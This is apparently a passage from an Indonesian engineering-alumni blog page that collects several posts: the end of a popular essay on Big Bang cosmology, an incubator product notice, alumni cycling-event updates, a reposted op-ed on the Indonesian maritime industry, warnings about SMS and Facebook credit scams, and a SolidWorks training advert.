untuk terus berkembang) juga masih merupakan misteri. Problem lain adalah SBB secara internal tidak konsisten karena SBB bersandar pada asumsi bahwa materi merupakan zat alir ideal atau fluida klasik, padahal semua ilmuwan tahu bahwa pada temperatur sangat tinggi penjelasan materi sebagai gas ideal klasik tidak lagi valid. Karena Teori Medan Quantum (Quantum Field Theory atau QFT) merupakan satu-satunya teori yang berlaku pada energi (temperatur) sangat tinggi, maka solusi problem terakhir adalah melalui modifikasi SBB dengan QFT. Masuknya QFT pada kosmologi Big Bang ternyata memberi jalan pada penemuan skenario inflasi alam semesta yang mempostulatkan bahwa pada suatu masa alam semesta mengalami pengembangan secara eksponensial. Pada masa ini energi materi disimpan dalam bentuk lain dan dilepas sebagai energi termal di akhir proses inflasi. Skenario inflasi tentu saja dapat menyelesaikan problem horizon karena ukuran alam semesta setelah inflasi konsisten dengan kerucut cahaya masa lampau (ukuran alam semesta di masa lampau dilihat dari masa sekarang).

Selain itu skenario inflasi juga dapat menyelesaikan masalah flatness karena pada masa inflasi entropi semesta bertambah dengan faktor yang sangat besar yang pada akhirnya mendorong alam semesta untuk mengambil bentuk flat. Pembuktian secara akurat diperoleh dengan menggunakan persamaan Friedmann-Robertson-Walker, yang merupakan kasus khusus dari persamaan Einstein dalam teori relativitas umum. Masalah Pada Saat Penciptaan Mungkin, masalah yang paling fundamental dalam teori Big Bang adalah masalah penciptaan atau pada saat alam semesta berusia 0 detik. Seperti sudah dijelaskan di atas, pada saat itu teori Big Bang meramalkan kondisi singularitas yang tidak dapat diakses dengan teori fisika semutakhir apa pun. Namun, kalau pun kita mengabaikan kondisi ini, teori penciptaan alam semesta tampaknya tidak dapat diterima oleh fisika karena menyalahi aturan fisika yang paling fundamental, kekekalan energi. Hukum kekekalan energi merupakan dasar fisika dan belum pernah ada bukti-bukti eksperimen eksplisit bahwa hukum kekekalan energi ini dilanggar. Jika pada saat sebelum alam semesta tercipta tidak terdapat apa-apa sedangkan saat ini kita dapat mengamati alam semesta yang maha luas, maka hukum kekekalan energi telah dilanggar sebesar massa semesta dikalikan dengan kuadrat kecepatan cahaya, E = mc2 , sesuai dengan teori Einstein.

Di manakah letak solusinya? Sebagian ilmuwan berpendapat bahwa energi total alam semesta tetap nol. Energi yang berasal dari massa alam semesta adalah energi positif, sedangkan energi yang mengikat alam semesta akibat gaya tarik menarik gravitasi yang dialami oleh setiap partikel merupakan energi negatif. Kedua jenis energi tersebut saling menghilangkan, sehingga energi total semesta tetap nol sesuai dengan kondisi sebelum alam semesta diciptakan. Pendapat ini juga mendukung adanya materi yang tidak terdeteksi yang tersebar di alam semesta yang disebut materi gelap (dark matter). Untuk menjawab masalah penciptaan materi dari keadaan ‘tidak ada’ menjadi ‘ada’ ilmuwan berpaling pada teori kuantum. Di dalam teori kuantum keadaan ‘tidak ada’ ini dikenal dengan istilah vacuum, suatu keadaan yang ternyata tidak kosong sama sekali namun terdiri dari dinamika penciptaan dan pemusnahan partikel serta anti-partikel dalam waktu yang sangat singkat. Mengapa partikel dan anti-partikel dapat diciptakan dari sesuatu yang tidak ada dan keduanya dapat dimusnahkan tanpa ada bukti sisa radiasi anihilasi? Jawabannya adalah melalui ketidakpastian Heisenberg yang menyatakan bahwa ketidakpastian pengukuran energi berbanding terbalik terhadap ketidakpastian waktu pengukuran dengan konstanta Planck sebagai konstanta pembanding.

Ketidakpastian Heisenberg secara implisit memperbolehkan pelanggaran energi dalam suatu sistem asalkan waktu pelanggaran sangat singkat, semakin besar pelanggaran energi semakin singkat waktu yang diperbolehkan. Dengan demikian keadaan vacuum terdiri dari lautan partikel dan anti-partikel yang eksis dan musnah dalam waktu sangat singkat. Fluktuasi vacuum ini juga mengakibatkan black hole (lubang hitam) bersifat tidak ‘benar-benar hitam’ karena ia dapat menarik partikel sambil meradiasikan anti-partikel dari dalam vacuum. Setelah terjadinya Big Bang jumlah partikel dan anti-partikel sama banyaknya. Keduanya dapat bergabung menjadi radiasi dan sebaliknya radiasi dapat menghasilkan pasangan partikel dan anti-partikel. Mengapa saat ini yang teramati di alam semesta hanyalah materi, atau dengan kata lain ke mana perginya anti-materi? Eksperimen dan teori fisika telah berhasil membuktikan bahwa alam semesta beserta isinya memperlihatkan sifat simetri dengan cacat yang sangat kecil. Pada saat terjadi kesetimbangan termal antara pasangan partikel dan anti-partikel dengan radiasi, tidak semua proton beranihilasi dengan anti-proton dan sebaliknya tidak semua radiasi menghasilkan pasangan partikel dan anti-partikel.

Cacat simetri yang sangat kecil ini akhirnya meninggalkan lebih banyak materi dibandingkan dengan anti-materi, sehingga alam semesta yang terlihat sekarang disusun sepenuhnya oleh materi. Beberapa jenis anti-partikel yang teramati di ruang angkasa diperkirakan berasal dari reaksi nuklir yang berasal dari bintang-bintang tertentu. Nasib Alam Semesta di Masa Mendatang Jauh sebelum CMB terdeteksi oleh Penzias dan Wilson, seorang ilmuwan Rusia bernama Alexander Friedmann mencatat kekeliruan Einstein pada persamaan relativitas umumnya. Sementara Einstein dan para fisikawan lain sibuk memodifikasi persamaan gravitasi untuk membuat alam semesta bersifat statik, Friedmann mengajukan dua asumsi sederhana tentang alam semesta. Pertama: alam semesta terlihat sama ke arah mana pun kita memandang. Kedua: hal tersebut benar dari mana pun kita memandang alam semesta. Untuk skala manusia tentu saja asumsi ini terlihat terlalu ceroboh, namun untuk skala milyaran galaksi simulasi-simulasi komputer saat ini memperlihatkan kebenarannya. Dari kedua asumsi tersebut Friedmann memperlihatkan bahwa alam semesta haruslah berkembang. Bahkan pada tahun 1922 ia dapat meramalkan secara akurat apa yang akhirnya ditemukan oleh Hubble pada tahun 1928. Dalam pemikiran Friedmann ada tiga kemungkinan (model) yang akan terjadi pada alam semesta di masa mendatang. Kemungkinan pertama adalah alam semesta bersifat tertutup (closed universe). Kemungkinan ini terjadi jika gaya gravitasi yang dihimpun oleh semua galaksi relatif sangat kuat, sehingga mampu untuk menekuk ruang (space) menjadi bentuk seperti permukaan sebuah bola jika kita bayangkan alam semesta hanya terdiri dari dua dimensi. Untuk model ini alam semesta akan berhenti berkembang pada suatu masa dan gaya gravitasi akan kembali menyatukan semua galaksi menuju ke satu titik. Apa yang terjadi kemudian adalah kehancuran semesta yang dikenal dengan istilah Big Crunch atau kebalikan dari Big Bang.

Kemungkinan kedua adalah gaya gravitasi terlalu lemah untuk mengatasi proses pengembangan alam semesta sehingga alam semesta akan terus menerus berkembang dengan cepat dan selamanya. Kemungkinan yang terakhir akan terjadi jika proses pengembangan alam semesta tidak terlalu cepat namun hanya cukup untuk mengeliminasi gaya gravitasi, sehingga alam semesta berkembang menuju ukuran tertentu dan kecepatan pengembangannya berkurang sedikit demi sedikit menuju nol. Pada kasus ini alam semesta dikatakan bersifat flat. Dari ketida model tersebut mana yang paling mungkin menurut para ilmuwan? Karena peluang untuk setiap model sangat bergantung pada laju berkembangnya semesta serta besar gaya gravitasi yang dimilikinya, maka informasi tentang kerapatan rata-rata alam semesta sangat menentukan. Jika kerapatan rata-rata ini lebih kecil dari suatu nilai kritis maka alam semesta akan terus berkembang untuk selamanya. Namun jika sebaliknya maka kehancuran alam semesta akan terjadi melalui proses Big Crunch. Hingga saat ini hasil pengukuran dan perhitungan kebanyakan mengarah pada nilai kritis yang berarti bahwa alam semesta cenderung untuk bersifat flat. Meski demikian, banyak ketidakpastian yang harus diperhitungkan para ilmuwan. Salah satu dari yang paling membingungkan para ilmuwan adalah pada pengukuran konstanta Hubble, suatu konstanta yang menghubungkan antara jarak bumi-bintang dengan pergeseran merah (red shift) bintang tersebut. Konstanta Hubble yang banyak diyakini oleh para astronom saat ini menghasilkan usia alam semesta pada kerapatan kritis sekitar 10 milyar tahun. Kontrasnya, pengukuran memperlihatkan bahwa usia bintang tertua dalam galaksi kita paling tidak telah 14 milyar tahun. Wajar saja jika perdebatan yang sangat sengit masih mewarnai masalah ini. Bagi kita sendiri, sebagai manusia yang hidup di masa kini, model mana yang mungkin terjadi tidak akan menjadi masalah.

Meski alam semesta keesokan hari mulai mengkerut menuju kehancuran, waktu yang dibutuhkan tentulah paling tidak 10 milyar tahun lagi. Pada saat itu tentu saja seluruh manusia dan peradabannya di permukaan bumi telah lama punah karena matahari sudah kehabisan bahan bakar. Kecuali, seperti kata Stephen Hawking dalam bukunya A Brief History of Time, jika manusia sudah mengkoloni tatasurya atau galaksi-galaksi lain yang masih memungkinkan berjalannya kehidupan. Jika kasus terakhir ini terjadi maka manusia-manusia di akhir zaman akan dapat “menikmati” perubahan warna langit menjadi merah lalu membara dan terang benderang karena peningkatan temperatur menuju ke tak hingga. Apa yang akan terjadi setelah Big Crunch tidak ada yang tahu, karena apa yang terjadi setelah keadaan singularitas tidak dapat diprediksi dengan menggunakan pengetahuan manusia saat ini. Namun jika alam semesta ini terus berkembang, maka ia akan menuju ke temperatur nol absolut. Alam semesta akan terus menerus mendingin dan mati karena tidak ada lagi proses transfer energi yang merupakan prinsip dasar dari kehidupan.

(Dr. Terry Mart, staf pengajar dan peneliti pada Jurusan Fisika FMIPA UI)

Inkubator Bayi Buatan FTUI

Inkubator bagi Bayi Prematur, Amankah?

TAK SATU pun orangtua yang menginginkan bayinya lahir prematur -lahir pada usia kehamilan kurang dari 37 minggu. Namun bila harus demikian, apa boleh buat! Tentu harus menerima kenyataan dengan berbesar hati.
Bayi prematur memang cenderung lebih mudah terserang infeksi dibandingkan bayi cukup bulan karena fungsi organ belum sempurna. Sering kali bayi prematur tetap harus tinggal di rumah sakit walaupun si ibu sudah diperbolehkan pulang. Selama dirawat, bayi mungil tersebut diletakkan ke dalam kotak kaca bernama inkubator. Selama ia berbaring di sana, dokter, suster maupun orangtua harus ekstra sabar dan cermat menangani perkembangan kesehatannya.
Inkubator AmanInformasi mengenai efek samping inkubator yang dapat menyebabkan dampak buruk terhadap kesehatan bayi sempat mencuat pemberitaannya beberapa waktu lalu. Tak ayal hal ini membuat resah beberapa orangtua yang bayinya sedang dirawat di inkubator.

Padahal, inkubator bagi bayi prematur aman sepanjang dilakukan sesuai dengan standar prosedur penggunaan. Perlu diketahui, setiap bayi prematur yang lahir memiliki kondisi yang berbeda-beda. Ada yang termasuk dalam kondisi “aman” atau menderita penyakit ringan, ada pula bayi prematur yang menderita penyakit berat. Semua ini tergantung dari daya tahan tubuh masing-masing bayi prematur.Kondisi seperti ini lah yang membuat bayi-bayi tersebut “berjuang” demi mendapatkan perkembangan yang lebih baik. Nah, inkubator berfungsi untuk menjaga agar bayi tetap mendapatkan suhu yang stabil. Kondisi suhu yang sesuai membuat bayi merasa nyaman dan aman.

Tergantung Kondisi Bayi

Lamanya bayi berada di dalam inkubator tergantung kepada kondisi masing-masing bayi. Suhu yang digunakan pun disesuaikan dengan kebutuhan akan kondisi bayi.
Inkubator hasil riset di lab Perpindahan Kalor FTUI
Setiap bayi baru lahir dilihat dahulu kondisinya lalu dicocokkan dengan tabel yang sudah disediakan, di sana sudah tertera mengenai suhu yang akan dipasang. Ini berlaku pada semua inkubator.

Sepanjang dilakukan sesuai dengan standar prosedur penggunaan maka tata laksana inkubator akan berjalan baik. Sayangnya, kebanyakan inkubator yang digunakan di Indonesia teknologinya masih kurang bila dibandingkan dengan inkubator buatan luar negeri seperti Eropa. Harga yang terlalu mahal menjadi alasan utama mengapa kebanyakan rumah sakit menggunakan produksi dalam negeri dan China. Walau begitu, inkubator tersebut tetap bisa digunakan secara optimal.

Di Indonesia tidak banyak produsen inkubator branded. Salah satu diantaranya adalah inkubator yang dikembangkan dari riset di Lab Perpindahan Kalor FTUI, dimana sekarang produknya telah banyak bisa ditemukan di Rumah Sakit di Indonesia. Salah satu tipe yang harganya terjangkau tapi tetap memenuhi syarat kesehatan dan SNI dapat dilihat pada video dan foto dibawah ini.
Bila ada diantara anda yang tertarik terhadap produk ini, silakan kontak
AMEDIC  DJAJA  BERSAMA
Ramadita Budhi (M97)
Email ramaditabudhi@yahoo.com, HP ‍+628161924335

(Mom& Kiddie//tty, teks diambil dari lifestyle-okezone)


Rapat Gowes jelang 27Maret11

Rapat gowes jelang acara 27 Maret 2011 diselenggarakan kemarin tanggal 15 Maret2011 dipimpin oleh mas tris. Riuh rendah uda dan uni alumni  masing-masing bicara dengan semangat karena banyak adik2 mahasiswa dan mahasiswi yang ganteng dan cantik pada hadir. Mereka inilah yang nanti akan membantu perhelatan alumni tanggal 27 nanti.

Jalur Gowes A (panjang) sudah dibahas. Ini yang 2 jam jadi harus dtg pagi karena mulainya jam 7. Jalur jalan santai yg start jam 7.30. Kemudian jalur Gowes B (pendek), berangkat jam 8, dengan track counterflow thd yg lain. Mengapa demikian ? Sederhana saja, karena baik naik sepeda maupun jalan akan diselingi dengan fotow memotow jadi bakalan stuck kalau semua jadi satu.

Oceh mengocehnya uda dan uni alumni pada rapat kemarin bisa dilihat pada video berikut, sekaligus dengan adik2 mhs terutama mhsi yang cantik ya… Diantaranya yang hadir Daryanto Darmadi, Raldi Artono, Riarno H, Fanina A, Tris Budiono, Ida Iqbal, Djarot Soedarsono, Ardhin Ichwan.

Rundown acara final nanti akan dipublish oleh mas tris. Sejauh ini masih akan ada beberapa perubahan.-

Hancurnya Industri Maritim Kita

-0- Salinan dari detiknews-0-
Selasa, 15 Maret 2011

Penyebab Hancurnya Industri Maritim Indonesia
Agus Pambagio – detikNews

Jakarta – Indonesia sebagai salah satu negara maritim besar seharusnya mempunyai infrastruktur ke maritiman yang kuat, seperti, pelabuhan yang lengkap terkait dengan keperuntukannya, sumber daya manusia yang berkelas, berbagai jenis kapal yang berkelas di berbagai sektor termasuk armada TNI Angkatan Laut, armada kapal dagang/kontainer, armada kapal angkut migas dan batubara, armada kapal penangkap ikan, armada kapal penumpang yang modern, aman dan nyaman serta regulator sektor kemaritiman yang kuat dan disegani dunia internasional.

Namun apa mau dikata, tampaknya pernyataan diatas masih sebatas mimpi, belum kenyataan. Melihat perkembangan industri maritim di Indonesia saat ini, saya sedih dan gemas. Bagaimana tidak? Sejak kemerdekaan 17 Agustus 1945 sampai hari ini industri martim kita dikelola secara kaki lima. Akibatnya tidak ada satupun Negaradi dunia ini yang segan dan menghormati Indonesia sebagai salah satu Negara maritimyang kuat.

Mereka hanya menempatkan Indonesia sebagai Negara tempat memasarkan produk kemaritiman mereka dan mengambil sumber daya yang ada. Mau bukti? Mari kita bahas satu persatu yang menurut saya ini merupakan faktor utama hancurnya industri maritim nasional. Sementara pemerintah tak mampu membereskannya, seperti biasa tidakada ketegasan!

Faktor Hambatan di Industri Maritim Nasional

Pertama, mari kita lihat sistem finansial untuk sektor maritim di Indonesia. Kebijakan sektor perbankan atau lembaga keuangan di Indonesia, yang sebagian besar keuntungannya diperoleh dari penempatan dana mereka di Sertifikat Bank Indonesia (SBI), untuk pembiayaan industri maritim sangat tidak mendukung. Mengapa?

Pertama, bunga pinjaman sangat tinggi. Berkisar antara 11% – 12% per tahun dengan 100% kolateral (senilai pinjaman). Bandingkan dengan sistem perbankan Singapura yang hanya mengenakan bunga 2% + LIBOR 2% (total sekitar 4%) per tahun. Dengan equity hanya 25% sudah bisa mendapatkan pinjaman tanpa kolateral terpisah karena kapal itu sendiri bisa menjadi jaminannya. Jadi tidak heran kalau pengusaha kapal nasional kesulitan mencari pembiayaan untuk membeli kapal, baik baru maupun bekas melalui sistem perbankan Indonesia.

Kedua,sesuai dengan Kepmenkeu No 370/KMK.03/2003 tetang Pelaksanaan Pajak Pertambahan Nilai yang Dibebaskan Atas Impor dan/atau Penyerahan Barang Kena Pajak Tertentu dan/atau Penyerahan Jasa Kena Pajak Tertentu, pasal 1, ayat 1 huruf e, jelas bahwa sektor perkapalan mendapat pembebasan pajak. Namun semua pembebasan pajak itu kembali harus dibayar jika melanggar pasal 16. Artinya kebijakan tersebut banci. Apa isi pasal 16?

Sesuai dengan pasal 16: Pajak Pertambahan Nilai yang terutang pada impor atau pada saat perolehan Barang Kena Pajak Tertentu disetor kas negara apabila dalam jangka waktu 5 (lima) tahun sejak impor dan atau perolehan Barang Kena Pajak Tertentu sebagaimana dimaksud dalam pasal 1 angka 1 huruf e, huruf f, huruf g dan huruf h ternyata digunakan tidak sesuai dengan tujuan semula atau di pindahtangankan

kepada pihak lain baik sebagian atau seluruhnya?. Artinya, jika pengusaha kapal akan menjual kapalnya sebelum 5 tahun sejak pembelian harus membayar pajak kepada negara sebesar 22,5% dari harga penjualan (PPn 10%, PPh impor 7,5% dan bea masuk 5%).

Di Indonesia jarang ada kontrak penggunaan kapal lebih dari 5 tahun, paling banyak 2 tahun. Jadi jika tidak ada kontrak, supaya pengusaha kapal tidak menanggung rugi berkepanjangan mereka harus menjual kapalnya. Untuk itu pengusaha harus membayar pajak terhutang kepada Negara sesuai Pasal 16 tersebut. Benar-benar industri maritim negara ini dihambat kemajuannya dari segi kebijakan fiskalnya oleh negara, kok bisa ya?

Di negara lain seperti Singapura, pemerintah akan memberikan insentif, seperti pembebasan bea masuk pembelian kapal, pembebasan pajak bagi perusahaan pelayaran yang bertransaksi diatas USD 20 juta karena Pemerintah Singapura menyadari kalau investasi di industri pelayaran bersifat slow yielding sehingga perlu diberikan insentif. Kalaupun kapal harus dijual, Pemerintah Singapura membebaskan berbagai pajaknya.

Dari pemberian berbagai insentif bagi perusahaan pelayaran, Pemerintah mana pun akan berpikiran bahwa penerimaan dari pajak mungkin akan menurun namun penerimaan dari sektor lain pasti akan bertambah. Misalnya, semakin banyak tenaga kerja asing tinggal dan bekerja pada akhirnya akan semakin banyak uang yang dibelanjakan di negara tersebut. Selain itu transaksi perbankan biasanya juga akan semakin banyak, sehingga pendapatan Negara juga akan meningkat. Benar-benar negara negara dikelola oleh negarawan yang cerdas.

Ketiga, buruknya kualitas sumber daya maritim Indonesia menyebabkan biaya langsung industri maritim menjadi tinggi. Meski pun gaji tenaga Indonesia 1/3 gaji tenaga kerja asing tetapi karena rendahnya disiplin dan tanggungjawab, menyebabkan biaya yang harus ditanggung pemilik kapal berbendera dan berawak 100% orang Indonesia (sesuai dengan UU No 17 tahun 2008 tentang Pelayaran) menjadi sangat tinggi. Ironisnya jika kapal berawak 100% asing yang mahal, ternyata pendapatan perusahaan pelayaran bisa meningkat 2x lipat. Aneh tapi nyata.

Keempat, persoalan klasifikasi industri maritim yang ada di tangan sebuah BUMN dibawah kendali Kementerian BUMN dan Kementerian Perhubungan, PT Biro Klasifikasi Indonesia (BKI), membuat industri maritim Indonesia semakin terpuruk. Semua kapal yang diklasifikasi atau disertifikasi oleh PT BKI, patut diduga tidak diakui oleh asuransi perkapalan kelas dunia atau kalaupun diakui, pemilik kapal harus membayar premi asuransi sangat mahal. Mengapa?

Hal tersebut patut diduga disebabkan dalam melakukan klasifikasi, PT BKI kurang profesional sehingga penilaiannya diragukan oleh semua pihak. Patut diduga PT BKI masih menganut paham dengan uang pelicin semua beres. Oleh sebab itu sebagian pemilik kapal tidak meregister kapalnya di Indonesia tetapi di Hong Kong, Malaysia atau Singapore. Akibatnya pelaksanaan UU No 17 tahun 2008 hanya retorika. Pengusaha kapal enggan meregister kapalnya di Indonesia karena klasifikasi yang dikeluarkan oleh PT BKI merupakan ‘pepesan kosong’ yang diragukan oleh semua lini sektor industri maritim global.

Langkah yang Harus Diambil Pemerintah

Jika industri maritim Indonesia mau berkembang dan siap bersaing dengan industri sejenis dikawasan, maka pemerintah dalam hal ini khususnya Kementerian Perhubungan, Kementerian Pendidikan Nasional, Kementerian BUMN dan Kementerian Keuangan harus membuka mata dan jangan mau dipengaruhi oleh para pelobi yang mewakili pihak-pihak yang mau untung sendiri tidak memikirkan bangsa ini.

Pertama, lakukan revitalisasi atau deregulasi di sektor fiskal sehingga kompetitif dengan beberapa Negara tetangga, kecuali Indonesia mau jadi pecundang terus. Kedua lakukan perombakan total dilingkungan lembaga pemberi klasifikasi sehingga dunia internasional pelayaran dan asuransi kerugian mengakui keberadaannya. Ketiga susun ulang kurikulum lembaga pendidikan maritim oleh Kemendiknas supaya Indonesia mempunyai SDM maritim yang berkualitas dan bertanggungjawab.

Beranikah Menteri Keuangan, Menteri Perhubungan, Menteri BUMN dan Menteri Pendidikan Nasional melakukan perubahan drastis tersebut? Sebenarnya saya ragu karena para menteri tidak berani bertindak (kecuali sidak) jika presiden belum memberikan titah. Jadi mohon kepada Presiden SBY yang sangat saya hormati untuk segera memberikan titah kepada keempat Menteri tersebut secepatnya, sebelum industri maritim Indonesia tinggal nama. Salam.

*) Agus Pambagio adalah Pemerhati Kebijakan Publik dan Perlindungan Konsumen.

SMS Nipu Jenis yang Lain

Tadi pagi saya terima salah satu jenis pesan SMS nipu.

Bunyinya seperti berikut:

Entar pagi berangkat dulu ke konter belikan mama pulsa As25ribu atau 50ribu di nomor baru mama ini nomornya 085215123818, soalnya mama ada masalah penting,.

-0-

Jangan pernah percaya SMS model begini. Nomor yang mengirim saya sertakan disini kali2 ada yang sama ngirim anda SMS nipu kaya gini: +6281998291261.-

Awas Hacker FB Nipu

-0-

Kiriman email dari seorang teman (named SS), untuk menjadi warning bagi kita bila kehilangan HP, atau Facebook kita di hacked orang.

-0-

Teman Mesin,

istri saya baru kena tipu di Face book, si pelaku bisa masuk ke face book atas nama teman SMA dan dia bilang dia ada di Singapur kehabisan pulsa dan minta kirimin pulsa, maka istriku mengirimnya, mula mula minta

Rp 100 000

lalu katanyakurang ditambahi jadi

500 000

lalu jadi

1 juta rupiah.

Setelah ditilpon ke temannya (ternyata lagi umroh di Mekah) baru ketahuan bahwa istri saya kena tipu hacker, dia bilang dia pernah kehilangan BB nya, mungkin terus dimanfaatkan oleh sihacker. Biar lebih waspada ini no hp si hacker

085297618542 dan 085262411212

(kali dia sudah ganti nomor)

Sepeda(han) di Kampus UI

Trayek sepeda santai tgl 27 sudah dijelajahi oleh pak Ardin. Lihat dalam video dan lagu (pasang speaker).-

Tim pendahulu sepedahan di kampus UI dbp Ardin Ichwan telah menyusuri trayek yang akan dilalui untuk acara alumni FTUI manminsib
tgl 27 Maret 2011
Routenya bisa dilihat dalam sajian video dan lagu termasuk pohon Baobab lambang kelestarian alam.
klik di http://koestoer.wordpress.com/2010/11/22/pohon-baobab-di-ui/
cerita lain bisa dilihat di:
lihat di http://koestoer.wordpress.com/

Solid Works Essential

TUJUAN

Dewasa ini perkembangan dunia desain dengan software SolidWorks sudah tidak bisa lagi kita pungkiri. Permintaan dunia industri manufaktur akan tenaga ahli teknik yg juga dibekali kemampuan SolidWorks semakin meningkat. Hal ini dibuktikan dengan banyaknya iklan – iklan lowongan kerja yg menyertakan keahlian SolidWorks sebagai salah satu persyaratanya. Silakan cari lowongan kerja untuk desain di google maupun situs pencari kerja semacam karir.com, b2b, jobindo, dan sebagainya.
Software Solidware memiliki kemampuan CAD dan CAE yang sangat baik. Kemampuan CAD dari Solidwork sangat cocok digunakan dalam industry yang berhubungan dengan Mold and Dies Design, Jig and Fixtures, Machine Design, dan Consumer Product Design.
Pelatihan ini bertujuan memberikan pelatihan dan bimbingan kepada peserta untuk menguasai SolidWorks untuk perancangan Part, Assembly, dan Gambar 2D & 3D serta analisis CAE-nya.

OUTLINE PELATIHAN SOLIDWORK

  • Solid Works Intelligent Feature Technology (SWIFT)
  • User Interface
  • Part Modeling
  • Working with DWG
  • Advance Surfacing
  • Sheet metal Design Tools
  • Weldment Design
  • Mold Design Tools
  • Assembly Modeling
  • Large Assembly Management
  • 2D Drawing Creation
  • Bill Of Material

Keterangan lebih lanjut lihat di:

http://www.msrhijau.com/politeknik/website/training.php

KONTAK:

PT. ANUGERAH HUDAYA RAHARJA

Jl. Moh. Kahfi I Gang Asem No. 12

Ciganjur, Jakarta Selatan-Indonesia

Telp. +62-21-7270250

Fax. +62-21-7270250

HP. +62-81-10592887

Email: muslimin_almasta@yahoo.com